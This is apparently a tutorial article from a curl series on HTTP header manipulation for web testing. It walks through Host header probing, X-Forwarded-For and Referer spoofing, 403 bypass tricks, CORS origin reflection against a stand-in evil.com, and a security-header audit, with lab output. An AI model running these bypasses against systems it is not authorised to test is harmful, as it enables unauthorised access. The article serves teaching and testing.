June 12, 2026
Header Manipulation: Bypasses, Probing, and the Security Audit Nobody Does
Request headers are not metadata. They are inputs, and inputs can be manipulated.
Roshan Rajbanshi
10 min read
Series:_ curl — The Request Engine You Never Learned Properly Article: 7 of 16_
Request headers are not just metadata. They are inputs. And like any input that reaches server-side logic, they can be manipulated — to bypass access controls, probe for misconfigurations, spoof identity, and test security posture.
This article covers the header manipulation techniques that show up constantly on THM/HTB machines and in real web application testing: Host header attacks, IP spoofing headers, 403 bypass patterns, CORS misconfiguration testing, and the security header audit that most beginners skip entirely.
Most techniques here are one flag or one -H addition away from a curl command you already know how to write.
The -H Flag as an Attack Surface
You have used -H for Content-Type and Authorization. The same flag is the entry point for every manipulation technique in this article.
curl -H "Header-Name: value" http://target.comcurl -H "Header-Name: value" http://target.comA header is just a key-value pair sent as part of the HTTP request. The server reads it and acts on it — or ignores it. Your job is to find the headers that affect server behavior in ways the developer did not intend.
Multiple -H flags stack. This single command sends three attack-relevant headers simultaneously:
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Real-IP: 127.0.0.1" \
-H "Host: internal.target.com" \
http://127.0.0.1:8080/admin
==================================================
curl Lab Echo Server
==================================================
METHOD : GET
PATH : /admin
FULL URL : /admin
--- REQUEST HEADERS ---
Host: internal.target.com
User-Agent: curl/7.68.0
Accept: */*
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
--- QUERY STRING PARAMS ---
(none)
--- RAW BODY ---
(empty)
--- PARSED BODY PARAMS ---
(none)
==================================================curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Real-IP: 127.0.0.1" \
-H "Host: internal.target.com" \
http://127.0.0.1:8080/admin
==================================================
curl Lab Echo Server
==================================================
METHOD : GET
PATH : /admin
FULL URL : /admin
--- REQUEST HEADERS ---
Host: internal.target.com
User-Agent: curl/7.68.0
Accept: */*
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
--- QUERY STRING PARAMS ---
(none)
--- RAW BODY ---
(empty)
--- PARSED BODY PARAMS ---
(none)
==================================================
curl sends exactly what you specify. The echo server confirms all three headers arrived intact at the application layer — Host overridden, both IP headers spoofed. That said, in real deployments, proxies, load balancers, and application frameworks may rewrite or strip certain headers before they reach the application. What curl sends and what the application ultimately reads are not always identical.
Host Header Attacks
The Host header tells the server which virtual host to serve. On servers running multiple sites, this is how the server knows which application to route the request to.
Manipulating the Host header — and its override cousin X-Forwarded-Host — lets you probe for virtual hosts that are not publicly advertised:
curl -H "Host: internal.target.com" http://target.com
curl -H "Host: admin.target.com" http://target.com
curl -H "Host: dev.target.com" http://target.com
curl -H "Host: staging.target.com" http://target.com
curl -H "X-Forwarded-Host: admin.target.com" http://target.comcurl -H "Host: internal.target.com" http://target.com
curl -H "Host: admin.target.com" http://target.com
curl -H "Host: dev.target.com" http://target.com
curl -H "Host: staging.target.com" http://target.com
curl -H "X-Forwarded-Host: admin.target.com" http://target.comRun each and compare response sizes and content against the baseline. A response that differs — in size, content, or status code — indicates the server is routing to a different virtual host at that address. Internal applications, development environments, and admin interfaces are commonly found this way.
Beyond virtual host discovery, Host header manipulation is also the foundation of password reset poisoning (poisoning the reset link generated server-side) and cache poisoning (storing a malicious response under a legitimate cache key). Those are covered in depth elsewhere — the recon step here is the same.
--resolve for clean DNS mapping:
When you want to test a specific IP address with a custom hostname, without modifying /etc/hosts:
curl --resolve target.com:80:192.168.1.100 http://target.com
curl --resolve admin.target.com:443:192.168.1.100 https://admin.target.comcurl --resolve target.com:80:192.168.1.100 http://target.com
curl --resolve admin.target.com:443:192.168.1.100 https://admin.target.com--resolve host:port:ip tells curl to resolve that hostname to that IP for this request only. No system-wide DNS change, no file modification, no cleanup needed.
IP Restriction Bypass: X-Forwarded-For and X-Real-IP
Some applications restrict access based on the client's IP address. "Only allow requests from 127.0.0.1" or "only allow requests from internal network ranges" are common access control patterns.
When a reverse proxy sits in front of the application, the application may read the client's IP from the X-Forwarded-For header rather than the TCP connection's source address. X-Forwarded-For is a de facto standard and typically carries a comma-separated list of addresses — the client IP, then each proxy in the chain. If the application trusts this header without validation and reads the first value in the list, you can prepend a spoofed IP.
curl -s -H "X-Forwarded-For: 127.0.0.1" http://127.0.0.1:8080/admin
[ADMIN PANEL] Access granted.
Bypass vector: IP spoof — X-Forwarded-For / X-Real-IP set to 127.0.0.1
Method: GET | Path: /admincurl -s -H "X-Forwarded-For: 127.0.0.1" http://127.0.0.1:8080/admin
[ADMIN PANEL] Access granted.
Bypass vector: IP spoof — X-Forwarded-For / X-Real-IP set to 127.0.0.1
Method: GET | Path: /admin
In this lab, the baseline returns 403, and the spoofed header returns 200. On real targets, this only works when the application improperly trusts the authorization header — which does happen and is a vulnerability when it does.
Headers worth trying for IP-based bypass. The order is a heuristic, not a universal ranking — different stacks trust different headers, and some validate against a list of values rather than a single one:
curl -H "X-Forwarded-For: 127.0.0.1" http://target.com/restricted
curl -H "X-Real-IP: 127.0.0.1" http://target.com/restricted
curl -H "X-Client-IP: 127.0.0.1" http://target.com/restricted
curl -H "X-Remote-IP: 127.0.0.1" http://target.com/restricted
curl -H "X-Originating-IP: 127.0.0.1" http://target.com/restricted
curl -H "True-Client-IP: 127.0.0.1" http://target.com/restricted
curl -H "CF-Connecting-IP: 127.0.0.1" http://target.com/restrictedcurl -H "X-Forwarded-For: 127.0.0.1" http://target.com/restricted
curl -H "X-Real-IP: 127.0.0.1" http://target.com/restricted
curl -H "X-Client-IP: 127.0.0.1" http://target.com/restricted
curl -H "X-Remote-IP: 127.0.0.1" http://target.com/restricted
curl -H "X-Originating-IP: 127.0.0.1" http://target.com/restricted
curl -H "True-Client-IP: 127.0.0.1" http://target.com/restricted
curl -H "CF-Connecting-IP: 127.0.0.1" http://target.com/restrictedTry each independently. X-Forwarded-For is the most common. True-Client-IP is used by Cloudflare and CF-Connecting-IP by Cloudflare Workers — applications behind those services sometimes trust those values directly.
Referer Header Manipulation
Some applications check the Referer header to verify that a request came from within the application itself — a naive CSRF protection or hotlink prevention.
# With spoofed Referer
curl -H "Referer: http://127.0.0.1:8080/dashboard" \
http://127.0.0.1:8080/sensitive-action
==================================================
curl Lab Echo Server
==================================================
METHOD : GET
PATH : /sensitive-action
FULL URL : /sensitive-action
--- REQUEST HEADERS ---
Host: 127.0.0.1:8080
User-Agent: curl/7.68.0
Accept: */*
Referer: http://127.0.0.1:8080/dashboard
--- QUERY STRING PARAMS ---
(none)
--- RAW BODY ---
(empty)
--- PARSED BODY PARAMS ---
(none)
==================================================# With spoofed Referer
curl -H "Referer: http://127.0.0.1:8080/dashboard" \
http://127.0.0.1:8080/sensitive-action
==================================================
curl Lab Echo Server
==================================================
METHOD : GET
PATH : /sensitive-action
FULL URL : /sensitive-action
--- REQUEST HEADERS ---
Host: 127.0.0.1:8080
User-Agent: curl/7.68.0
Accept: */*
Referer: http://127.0.0.1:8080/dashboard
--- QUERY STRING PARAMS ---
(none)
--- RAW BODY ---
(empty)
--- PARSED BODY PARAMS ---
(none)
==================================================The Referer arrives at the server exactly as set. If an endpoint returns 403 without a Referer and 200 with an expected value, the access control is bypassable by spoofing the header. This is not a strong control — any client can set any Referer value, and browsers and privacy tools may omit or trim it entirely, so it should never be relied on for authentication or authorization. It appears in real applications regardless, and sometimes combines with other checks to form a bypass chain.
403 Bypass Patterns
A 403 on an endpoint you want to reach is not the end. It is the beginning of a checklist.
Path normalization tricks:
Web servers and application frameworks sometimes process paths differently. A rule that blocks /admin may not block equivalent paths on every server — these variations sometimes bypass controls, but behavior is server-specific:
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin # baseline
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin/
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/%2fadmin
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/./admin
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin%20
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/ADMIN
403
200
200
403
200
200curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin # baseline
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin/
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/%2fadmin
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/./admin
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin%20
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/ADMIN
403
200
200
403
200
200
Reading the results from this lab:
/admin → 403 — The rule fires on the exact path.
/admin/ → 200 — Trailing slash creates a different string that does not match the rule.
/%2fadmin → 200 — URL-encoded slash. The access control reads the encoded path; the application decodes it and serves the resource.
/./admin → 403 — the server normalizes ./admin back to /admin before routing, so the rule still matches. Not every path trick works on every server — this one did not.
/admin%20 → 200 — trailing encoded space. The rule matches /admin Exactly; the space breaks the match.
/ADMIN → 200 — case variation. The access rule is case-sensitive; the application routing is not.
Method switching:
An access control rule might only apply to certain HTTP methods. In this lab, the rule covers GET only:
curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin # GET
curl -X POST -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin # POST
curl -X PUT -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin # PUT
curl -X HEAD -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin # HEAD
403
200
200
200curl -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin # GET
curl -X POST -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin # POST
curl -X PUT -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin # PUT
curl -X HEAD -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin # HEAD
403
200
200
200On a real target, results depend entirely on how the access rule is written — POST and HEAD are not guaranteed to work just because GET is blocked. But when they do return 200, verify what content HEAD returns in its response headers and what POST responds with in its body. A method switch that reaches the resource is a finding.
Header-based bypass:
curl -H "X-Forwarded-For: 127.0.0.1" -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin
curl -H "X-Original-URL: /admin" -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/
curl -H "X-Rewrite-URL: /admin" -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/
200
200
200curl -H "X-Forwarded-For: 127.0.0.1" -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/admin
curl -H "X-Original-URL: /admin" -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/
curl -H "X-Rewrite-URL: /admin" -o /dev/null -sw "%{http_code}\n" http://127.0.0.1:8080/
200
200
200X-Original-URL and X-Rewrite-URL are headers that some reverse proxies honor to override the request path — this is a proxy-specific behavior, not universal. Where it applies, the access control evaluates the request to / (permitted), while the application reads X-Original-URL and serves /admin. The protection and the application are not evaluating the same path.
Header chaining — when two modifications together unlock access:
Sometimes a single bypass attempt fails, but a combination works:
curl -X POST \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Referer: http://127.0.0.1:8080/admin" \
-o /dev/null -sw "%{http_code}\n" \
http://127.0.0.1:8080/admin
200curl -X POST \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Referer: http://127.0.0.1:8080/admin" \
-o /dev/null -sw "%{http_code}\n" \
http://127.0.0.1:8080/admin
200When single-vector attempts fail, start combining. Method, IP header, and Referer each target a different check — stacking them clears multiple gates at once.
CORS Origin Manipulation
CORS (Cross-Origin Resource Sharing) determines which external domains are allowed to make requests to an API from a browser. A misconfigured CORS policy can allow an attacker's website to make credentialed requests to the API on behalf of a victim.
Testing CORS with curl is active testing — you are not just checking whether a header exists, you are testing whether the server accepts your controlled origin.
The echo server reflects headers but does not implement CORS — it shows the Origin arriving but returns no Access-Control headers. For live CORS testing, httpbin.org demonstrates the vulnerability pattern:
curl -sI -H "Origin: https://evil.com" http://httpbin.org/get | grep -i "access-control"
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: truecurl -sI -H "Origin: https://evil.com" http://httpbin.org/get | grep -i "access-control"
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: truehttpbin reflects any origin it receives and pairs it with Allow-Credentials: true. This is a misconfiguration: the server accepts any origin and signals that credentialed cross-origin requests are permitted. The real danger is the reflected origin combined with credentials — a browser making a cross-origin request to this API from an attacker-controlled page could include the victim's session cookies in the request.
Testing whether the server reflects arbitrary origins:
for origin in "https://evil.com" "null" "https://httpbin.org.evil.com"; do
echo -n "Origin: $origin -> "
curl -sI -H "Origin: $origin" http://httpbin.org/get | grep -i "access-control-allow-origin"
done
Origin: https://evil.com -> Access-Control-Allow-Origin: https://evil.com
Origin: null -> Access-Control-Allow-Origin: null
Origin: https://httpbin.org.evil.com -> Access-Control-Allow-Origin: https://httpbin.org.evil.comfor origin in "https://evil.com" "null" "https://httpbin.org.evil.com"; do
echo -n "Origin: $origin -> "
curl -sI -H "Origin: $origin" http://httpbin.org/get | grep -i "access-control-allow-origin"
done
Origin: https://evil.com -> Access-Control-Allow-Origin: https://evil.com
Origin: null -> Access-Control-Allow-Origin: null
Origin: https://httpbin.org.evil.com -> Access-Control-Allow-Origin: https://httpbin.org.evil.com
All three reflected. The subdomain spoof (https://httpbin.org.evil.com) reflects too — the server is not validating that the origin is actually under its own domain.
The null origin is worth testing but deserves nuance. It is sent by sandboxed iframes and certain redirect chains. Whether a server is accepting null is exploitable depends on whether the browser will expose a credentialed response in that context — it is a signal worth investigating, not an automatic finding.
Read the response headers for these values:
Access-Control-Allow-Origin: * — wildcard policy. On its own, this allows any origin to read the response. Combined with Allow-Credentials: true, Browsers will actually block it per spec — the combination is invalid. The exploitable case is a reflected specific origin plus credentials, not a wildcard.
Access-Control-Allow-Origin: <your value> — origin reflected. If any origin you send is reflected, the policy is effectively open to any origin the attacker controls.
Access-Control-Allow-Credentials: true — The server signals that cross-origin requests may include cookies and authorization headers. Paired with a reflected origin, this is the combination that makes CORS misconfigurations exploitable.
No Access-Control headers — the API is not advertising a cross-origin policy in the response. Not a CORS finding in itself, though it does not mean the endpoint is safe.
The Security Header Audit
This is the audit most testers skip because it does not produce an immediate exploit. But missing security headers are findings in real reports, and running the audit takes thirty seconds.
Run it against a hardened site first — this is what a well-configured target looks like:
curl -sI https://github.com | grep -iE "strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy|x-xss"
strict-transport-security: max-age=31536000; includeSubdomains; preload
x-frame-options: deny
x-content-type-options: nosniff
x-xss-protection: 0
referrer-policy: origin-when-cross-origin, strict-origin-when-cross-origin
content-security-policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com ...curl -sI https://github.com | grep -iE "strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy|x-xss"
strict-transport-security: max-age=31536000; includeSubdomains; preload
x-frame-options: deny
x-content-type-options: nosniff
x-xss-protection: 0
referrer-policy: origin-when-cross-origin, strict-origin-when-cross-origin
content-security-policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com ...
Six headers present. Now run the same command against a target that has implemented none of them:
curl -sI http://httpbin.org | grep -iE "strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy|x-xss"
(no output)curl -sI http://httpbin.org | grep -iE "strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy|x-xss"
(no output)No output means none of the security headers are present. That is the finding. Some headers matter more than others depending on the application — HSTS and CSP carry more weight than Permissions-Policy — but their collective absence signals that security hardening was not a priority.
What each header does and what its absence means:
Strict-Transport-Security tells browsers to use HTTPS for all future visits to this domain. Missing HSTS leaves first-visit downgrade risk open — an attacker on the network path can intercept the initial HTTP request before the browser learns to upgrade.
Content-Security-Policy controls what resources the page can load and from where. Missing CSP means XSS payloads have full execution scope — no sandbox, no source allowlist blocking exfiltration.
X-Frame-Options: deny prevents the page from being embedded in an iframe on another domain. Missing means clickjacking is possible — wrap the page in an invisible iframe, overlay buttons, harvest clicks, or credential entries.
X-Content-Type-Options: nosniff prevents the browser from MIME-sniffing a response away from its declared Content-Type. Missing means a browser may execute a response as a script even when the server said otherwise.
Referrer-Policy controls how much of the URL appears in the Referer header when a user navigates away. Missing means internal paths and query parameters can leak to third-party resources loaded by the page.
X-XSS-Protection is largely deprecated — modern browsers ignore it or disable XSS auditors by default. Its presence, as in the GitHub response above, where it is set to 0 (disabled), is informational. Do not weigh it heavily in a report.
Permissions-Policy controls browser feature access (camera, microphone, geolocation). Missing is less critical but still noted in thorough assessments.
Document which are present and those that are missing. In aggregate, they paint a picture of the target's security maturity — useful context for the rest of the assessment.
The discipline this article builds: headers are inputs, not fixed metadata. Every header that reaches server-side logic is a potential manipulation point. Build the habit of checking what the server does with them before moving on to application-level testing.
Next: Article 8 — curl + Burp: The Manual Testing Stack